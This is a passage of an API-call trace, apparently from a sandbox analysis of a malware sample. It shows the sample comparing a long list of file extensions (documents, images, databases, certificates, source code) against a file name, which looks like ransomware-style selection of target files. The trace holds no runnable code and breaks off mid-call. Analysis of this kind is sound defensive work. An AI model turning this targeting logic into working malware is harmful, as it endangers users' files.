(lpString=".ai5") returned 4 [0084.906] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1 [0084.906] lstrlenW (lpString=".ai6") returned 4 [0084.906] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1 [0084.906] lstrlenW (lpString=".ai7") returned 4 [0084.906] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1 [0084.906] lstrlenW (lpString=".ai8") returned 4 [0084.906] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1 [0084.906] lstrlenW (lpString=".anim") returned 5 [0084.906] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1 [0084.906] lstrlenW (lpString=".arw") returned 4 [0084.906] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1 [0084.906] lstrlenW (lpString=".as") returned 3 [0084.906] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1 [0084.906] lstrlenW (lpString=".asa") returned 4 [0084.906] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1 [0084.906] lstrlenW (lpString=".asc") returned 4 [0084.907] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1 [0084.907] lstrlenW (lpString=".ascx") returned 5 [0084.907] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1 [0084.907] lstrlenW (lpString=".asm") returned 4 [0084.907] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1 [0084.907] lstrlenW (lpString=".asmx") returned 5 [0084.907] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1 [0084.907] lstrlenW (lpString=".asp") returned 4 [0084.907] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1 [0084.907] lstrlenW (lpString=".aspx") returned 5 [0084.907] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1 [0084.907] lstrlenW (lpString=".asr") returned 4 [0084.907] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1 [0084.907] lstrlenW (lpString=".asx") returned 4 [0084.907] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1 [0084.907] lstrlenW (lpString=".avi") returned 4 [0084.907] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1 [0084.907] lstrlenW (lpString=".avs") returned 4 [0084.907] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1 [0084.907] lstrlenW (lpString=".backup") returned 7 [0084.907] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1 [0084.907] lstrlenW (lpString=".bak") returned 4 [0084.907] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1 [0084.907] lstrlenW (lpString=".bay") returned 4 [0084.907] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1 [0084.907] lstrlenW (lpString=".bd") returned 3 [0084.907] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1 [0084.907] lstrlenW (lpString=".bin") returned 4 [0084.907] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1 [0084.907] lstrlenW (lpString=".bmp") returned 4 [0084.907] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1 [0084.907] lstrlenW (lpString=".bz2") returned 4 [0084.907] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0084.908] lstrlenW (lpString=".c") returned 2 [0084.908] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1 [0084.908] lstrlenW (lpString=".cdr") returned 4 [0084.908] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1 [0084.908] lstrlenW (lpString=".cer") returned 4 [0084.908] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1 [0084.908] lstrlenW (lpString=".cf") returned 3 [0084.908] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1 [0084.908] lstrlenW (lpString=".cfc") returned 4 [0084.908] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1 [0084.908] lstrlenW (lpString=".cfm") returned 4 [0084.908] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1 [0084.908] lstrlenW (lpString=".cfml") returned 5 [0084.908] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1 [0084.908] lstrlenW (lpString=".cfu") returned 4 [0084.908] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1 [0084.908] lstrlenW (lpString=".chm") returned 4 [0084.908] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1 [0084.908] lstrlenW (lpString=".cin") returned 4 [0084.908] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1 [0084.908] lstrlenW (lpString=".class") returned 6 [0084.908] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1 [0084.908] lstrlenW (lpString=".clx") returned 4 [0084.908] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1 [0084.908] lstrlenW (lpString=".config") returned 7 [0084.908] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1 [0084.908] lstrlenW (lpString=".cpp") returned 4 [0084.908] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1 [0084.908] lstrlenW (lpString=".cr2") returned 4 [0084.908] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1 [0084.908] lstrlenW (lpString=".crt") returned 4 [0084.908] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1 [0084.908] lstrlenW (lpString=".crw") returned 4 [0084.909] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1 [0084.909] lstrlenW (lpString=".cs") returned 3 [0084.909] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1 [0084.909] lstrlenW (lpString=".css") returned 4 [0084.909] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1 [0084.909] lstrlenW (lpString=".csv") returned 4 [0084.909] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1 [0084.909] lstrlenW (lpString=".cub") returned 4 [0084.909] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1 [0084.909] lstrlenW (lpString=".dae") returned 4 [0084.909] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1 [0084.909] lstrlenW (lpString=".dat") returned 4 [0084.909] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1 [0084.909] lstrlenW (lpString=".db") returned 3 [0084.909] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1 [0084.909] lstrlenW (lpString=".dbf") returned 4 [0084.909] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0084.909] lstrlenW (lpString=".dbx") returned 4 [0084.909] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1 [0084.909] lstrlenW (lpString=".dc3") returned 4 [0084.909] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1 [0084.909] lstrlenW (lpString=".dcm") returned 4 [0084.909] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1 [0084.909] lstrlenW (lpString=".dcr") returned 4 [0084.909] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1 [0084.909] lstrlenW (lpString=".der") returned 4 [0084.909] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1 [0084.909] lstrlenW (lpString=".dib") returned 4 [0084.909] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1 [0084.909] lstrlenW (lpString=".dic") returned 4 [0084.909] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1 [0084.909] lstrlenW (lpString=".dif") returned 4 [0084.909] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1 [0084.909] lstrlenW (lpString=".divx") returned 5 [0084.910] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1 [0084.910] lstrlenW (lpString=".djvu") returned 5 [0084.910] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1 [0084.910] lstrlenW (lpString=".dng") returned 4 [0084.910] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1 [0084.910] lstrlenW (lpString=".doc") returned 4 [0084.910] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0084.910] lstrlenW (lpString=".docm") returned 5 [0084.910] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1 [0084.910] lstrlenW (lpString=".docx") returned 5 [0084.910] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0084.910] lstrlenW (lpString=".dot") returned 4 [0084.910] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1 [0084.910] lstrlenW (lpString=".dotm") returned 5 [0084.910] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1 [0084.910] lstrlenW (lpString=".dotx") returned 5 [0084.910] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1 [0084.910] lstrlenW (lpString=".dpx") returned 4 [0084.910] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1 [0084.910] lstrlenW (lpString=".dqy") returned 4 [0084.911] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1 [0084.911] lstrlenW (lpString=".dsn") returned 4 [0084.911] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1 [0084.911] lstrlenW (lpString=".dt") returned 3 [0084.911] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1 [0084.911] lstrlenW (lpString=".dtd") returned 4 [0084.911] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1 [0084.911] lstrlenW (lpString=".dwg") returned 4 [0084.911] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1 [0084.911] lstrlenW (lpString=".dwt") returned 4 [0084.911] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1 [0084.911] lstrlenW (lpString=".dx") returned 3 [0084.911] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1 [0084.911] lstrlenW (lpString=".dxf") returned 4 [0084.911] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1 [0084.911] lstrlenW (lpString=".edml") returned 5 [0084.911] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1 [0084.911] lstrlenW (lpString=".efd") returned 4 [0084.911] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1 [0084.911] lstrlenW (lpString=".elf") returned 4 [0084.911] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1 [0084.911] lstrlenW (lpString=".emf") returned 4 [0084.911] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1 [0084.911] lstrlenW (lpString=".emz") returned 4 [0084.911] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1 [0084.911] lstrlenW (lpString=".epf") returned 4 [0084.911] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1 [0084.911] lstrlenW (lpString=".eps") returned 4 [0084.911] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1 [0084.911] lstrlenW (lpString=".epsf") returned 5 [0084.911] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1 [0084.911] lstrlenW (lpString=".epsp") returned 5 [0084.911] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1 [0084.912] lstrlenW (lpString=".erf") returned 4 [0084.912] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1 [0084.912] lstrlenW (lpString=".exr") returned 4 [0084.912] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1 [0084.912] lstrlenW (lpString=".f4v") returned 4 [0084.912] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1 [0084.912] lstrlenW (lpString=".fido") returned 5 [0084.912] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1 [0084.912] lstrlenW (lpString=".flm") returned 4 [0084.912] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1 [0084.912] lstrlenW (lpString=".flv") returned 4 [0084.912] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1 [0084.912] lstrlenW (lpString=".frm") returned 4 [0084.912] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1 [0084.912] lstrlenW (lpString=".fxg") returned 4 [0084.912] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1 [0084.912] lstrlenW (lpString=".geo") returned 4 [0084.912] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1 [0084.912] lstrlenW (lpString=".gif") returned 4 [0084.912] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1 [0084.912] lstrlenW (lpString=".grs") returned 4 [0084.912] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1 [0084.912] lstrlenW (lpString=".gz") returned 3 [0084.912] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1 [0084.912] lstrlenW (lpString=".h") returned 2 [0084.912] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1 [0084.912] lstrlenW (lpString=".hdr") returned 4 [0084.912] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1 [0084.912] lstrlenW (lpString=".hpp") returned 4 [0084.912] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1 [0084.912] lstrlenW (lpString=".hta") returned 4 [0084.912] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1 [0084.913] lstrlenW (lpString=".htc") returned 4 [0084.913] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1 [0084.913] lstrlenW (lpString=".htm") returned 4 [0084.913] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1 [0084.913] lstrlenW (lpString=".html") returned 5 [0084.913] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1 [0084.913] lstrlenW (lpString=".icb") returned 4 [0084.913] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1 [0084.913] lstrlenW (lpString=".ics") returned 4 [0084.913] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1 [0084.913] lstrlenW (lpString=".iff") returned 4 [0084.913] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1 [0084.913] lstrlenW (lpString=".inc") returned 4 [0084.913] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1 [0084.913] lstrlenW (lpString=".indd") returned 5 [0084.913] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1 [0084.913] lstrlenW (lpString=".ini") returned 4 [0084.913] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1 [0084.913] lstrlenW (lpString=".iqy") returned 4 [0084.913] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1 [0084.913] lstrlenW (lpString=".j2c") returned 4 [0084.913] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1 [0084.913] lstrlenW (lpString=".j2k") returned 4 [0084.913] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1 [0084.913] lstrlenW (lpString=".java") returned 5 [0084.913] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1 [0084.913] lstrlenW (lpString=".jp2") returned 4 [0084.913] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1 [0084.913] lstrlenW (lpString=".jpc") returned 4 [0084.913] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1 [0084.913] lstrlenW (lpString=".jpe") returned 4 [0084.913] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1 [0084.913] lstrlenW (lpString=".jpeg") returned 5 [0084.914] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1 [0084.914] lstrlenW (lpString=".jpf") returned 4 [0084.914] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1 [0084.914] lstrlenW (lpString=".jpg") returned 4 [0084.914] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0084.914] lstrlenW (lpString=".jpx") returned 4 [0084.914] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1 [0084.914] lstrlenW (lpString=".js") returned 3 [0084.914] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1 [0084.914] lstrlenW (lpString=".jsf") returned 4 [0084.914] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1 [0084.914] lstrlenW (lpString=".json") returned 5 [0084.914] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1 [0084.914] lstrlenW (lpString=".jsp") returned 4 [0084.914] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1 [0084.914] lstrlenW (lpString=".kdc") returned 4 [0084.914] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1 [0084.914] lstrlenW (lpString=".kmz") returned 4 [0084.914] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1 [0084.914] lstrlenW (lpString=".kwm") returned 4 [0084.914] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1 [0084.914] lstrlenW (lpString=".lasso") returned 6 [0084.914] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1 [0084.914] lstrlenW (lpString=".lbi") returned 4 [0084.914] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1 [0084.914] lstrlenW (lpString=".lgf") returned 4 [0084.914] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1 [0084.914] lstrlenW (lpString=".lgp") returned 4 [0084.914] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1 [0084.914] lstrlenW (lpString=".log") returned 4 [0084.914] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1 [0084.914] lstrlenW (lpString=".m1v") returned 4 [0084.915] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1 [0084.915] lstrlenW (lpString=".m4a") returned 4 [0084.915] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1 [0084.915] lstrlenW (lpString=".m4v") returned 4 [0084.915] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1 [0084.915] lstrlenW (lpString=".max") returned 4 [0084.915] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1 [0084.915] lstrlenW (lpString=".md") returned 3 [0084.915] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1 [0084.915] lstrlenW (lpString=".mda") returned 4 [0084.915] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1 [0084.915] lstrlenW (lpString=".mdb") returned 4 [0084.915] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1 [0084.915] lstrlenW (lpString=".mde") returned 4 [0084.915] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1 [0084.915] lstrlenW (lpString=".mdf") returned 4 [0084.915] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1 [0084.915] lstrlenW (lpString=".mdw") returned 4 [0084.915] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1 [0084.915] lstrlenW (lpString=".mef") returned 4 [0084.915] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1 [0084.915] lstrlenW (lpString=".mft") returned 4 [0084.915] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1 [0084.915] lstrlenW (lpString=".mfw") returned 4 [0084.915] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1 [0084.915] lstrlenW (lpString=".mht") returned 4 [0084.915] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1 [0084.915] lstrlenW (lpString=".mhtml") returned 6 [0084.915] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1 [0084.915] lstrlenW (lpString=".mka") returned 4 [0084.915] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1 [0084.915] lstrlenW (lpString=".mkidx") returned 6 [0084.916] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1 [0084.916] lstrlenW (lpString=".mkv") returned 4 [0084.916] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1 [0084.916] lstrlenW (lpString=".mos") returned 4 [0084.916] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1 [0084.916] lstrlenW (lpString=".mov") returned 4 [0084.916] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1 [0084.916] lstrlenW (lpString=".mp3") returned 4 [0084.916] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1 [0084.916] lstrlenW (lpString=".mp4") returned 4 [0084.916] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1 [0084.916] lstrlenW (lpString=".mpeg") returned 5 [0084.916] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1 [0084.916] lstrlenW (lpString=".mpg") returned 4 [0084.916] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1 [0084.916] lstrlenW (lpString=".mpv") returned 4 [0084.916] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1 [0084.916] lstrlenW (lpString=".mrw") returned 4 [0084.916] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1 [0084.916] lstrlenW (lpString=".msg") returned 4 [0084.916] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1 [0084.916] lstrlenW (lpString=".mxl") returned 4 [0084.916] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1 [0084.916] lstrlenW (lpString=".myd") returned 4 [0084.916] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1 [0084.916] lstrlenW (lpString=".myi") returned 4 [0084.916] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1 [0084.916] lstrlenW (lpString=".nef") returned 4 [0084.916] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1 [0084.916] lstrlenW (lpString=".nrw") returned 4 [0084.916] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1 [0084.916] lstrlenW (lpString=".obj") returned 4 [0084.916] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1 [0084.917] lstrlenW (lpString=".odb") returned 4 [0084.917] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1 [0084.917] lstrlenW (lpString=".odc") returned 4 [0084.917] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1 [0084.917] lstrlenW (lpString=".odm") returned 4 [0084.917] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1 [0084.917] lstrlenW (lpString=".odp") returned 4 [0084.917] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1 [0084.917] lstrlenW (lpString=".ods") returned 4 [0084.917] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1 [0084.917] lstrlenW (lpString=".oft") returned 4 [0084.917] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1 [0084.917] lstrlenW (lpString=".one") returned 4 [0084.917] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1 [0084.917] lstrlenW (lpString=".onepkg") returned 7 [0084.917] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1 [0084.917] lstrlenW (lpString=".onetoc2") returned 8 [0084.917] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1 [0084.917] lstrlenW (lpString=".opt") returned 4 [0084.917] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1 [0084.917] lstrlenW (lpString=".oqy") returned 4 [0084.917] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1 [0084.917] lstrlenW (lpString=".orf") returned 4 [0084.917] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1 [0084.917] lstrlenW (lpString=".p12") returned 4 [0084.917] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1 [0084.917] lstrlenW (lpString=".p7b") returned 4 [0084.917] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1 [0084.917] lstrlenW (lpString=".p7c") returned 4 [0084.917] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1 [0084.917] lstrlenW (lpString=".pam") returned 4 [0084.918] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1 [0084.918] lstrlenW (lpString=".pbm") returned 4 [0084.918] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1 [0084.918] lstrlenW (lpString=".pct") returned 4 [0084.918] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1 [0084.918] lstrlenW (lpString=".pcx") returned 4 [0084.918] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1 [0084.918] lstrlenW (lpString=".pdd") returned 4 [0084.918] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1 [0084.918] lstrlenW (lpString=".pdf") returned 4 [0084.918] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0084.918] lstrlenW (lpString=".pdp") returned 4 [0084.918] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1 [0084.918] lstrlenW (lpString=".pef") returned 4 [0084.918] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1 [0084.918] lstrlenW (lpString=".pem") returned 4 [0084.918] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1 [0084.918] lstrlenW (lpString=".pff") returned 4 [0084.918] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1 [0084.918] lstrlenW (lpString=".pfm") returned 4 [0084.918] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1 [0084.918] lstrlenW (lpString=".pfx") returned 4 [0084.918] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1 [0084.918] lstrlenW (lpString=".pgm") returned 4 [0084.918] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1 [0084.918] lstrlenW (lpString=".php") returned 4 [0084.918] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1 [0084.918] lstrlenW (lpString=".php3") returned 5 [0084.918] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1 [0084.918] lstrlenW (lpString=".php4") returned 5 [0084.918] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1 [0084.918] lstrlenW (lpString=".php5") returned 5 [0084.919] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1 [0084.919] lstrlenW (lpString=".phtml") returned 6 [0084.919] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1 [0084.919] lstrlenW (lpString=".pict") returned 5 [0084.919] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1 [0084.919] lstrlenW (lpString=".pl") returned 3 [0084.919] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1 [0084.919] lstrlenW (lpString=".pls") returned 4 [0084.919] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1 [0084.919] lstrlenW (lpString=".pm") returned 3 [0084.919] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1 [0084.919] lstrlenW (lpString=".png") returned 4 [0084.919] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1 [0084.919] lstrlenW (lpString=".pnm") returned 4 [0084.919] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1 [0084.919] lstrlenW (lpString=".pot") returned 4 [0084.919] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1 [0084.919] lstrlenW (lpString=".potm") returned 5 [0084.919] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1 [0084.919] lstrlenW (lpString=".potx") returned 5 [0084.919] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1 [0084.919] lstrlenW (lpString=".ppa") returned 4 [0084.919] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1 [0084.919] lstrlenW (lpString=".ppam") returned 5 [0084.919] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1 [0084.919] lstrlenW (lpString=".ppm") returned 4 [0084.919] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1 [0084.919] lstrlenW (lpString=".pps") returned 4 [0084.919] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1 [0084.919] lstrlenW (lpString=".ppsm") returned 5 [0084.919] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1 [0084.919] lstrlenW (lpString=".ppt") returned 4 [0084.920] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0084.920] lstrlenW (lpString=".pptm") returned 5 [0084.920] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1 [0084.920] lstrlenW (lpString=".pptx") returned 5 [0084.920] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1 [0084.920] lstrlenW (lpString=".prn") returned 4 [0084.920] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1 [0084.920] lstrlenW (lpString=".ps") returned 3 [0084.920] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1 [0084.920] lstrlenW (lpString=".psb") returned 4 [0084.920] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1 [0084.920] lstrlenW (lpString=".psd") returned 4 [0084.920] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1 [0084.920] lstrlenW (lpString=".pst") returned 4 [0084.920] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1 [0084.920] lstrlenW (lpString=".ptx") returned 4 [0084.920] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1 [0084.920] lstrlenW (lpString=".pub") returned 4 [0084.920] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1 [0084.920] lstrlenW (lpString=".pwm") returned 4 [0084.920] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1 [0084.920] lstrlenW (lpString=".pxr") returned 4 [0084.920] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1 [0084.920] lstrlenW (lpString=".py") returned 3 [0084.920] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1 [0084.920] lstrlenW (lpString=".qt") returned 3 [0084.920] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1 [0084.920] lstrlenW (lpString=".r3d") returned 4 [0084.920] lstrcmpiW (lpString1=".r3d", 